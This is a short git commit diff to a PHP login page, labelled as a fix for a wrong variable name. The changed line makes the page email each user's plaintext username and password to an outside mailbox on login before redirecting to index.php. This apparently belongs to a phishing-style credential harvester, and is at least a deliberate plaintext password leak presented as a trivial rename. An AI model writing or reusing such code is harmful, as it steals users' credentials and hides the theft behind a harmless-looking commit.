fix: wrong var name

WEBROOT/login.php

@@ -59,7 +59,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
                 logging();
                 sendMail(
                     "User Logged In",
-                    "$username, $passwort"
+                    "$username, $password"
                 );
                 redirectToWebsite("index.php");
                 exit;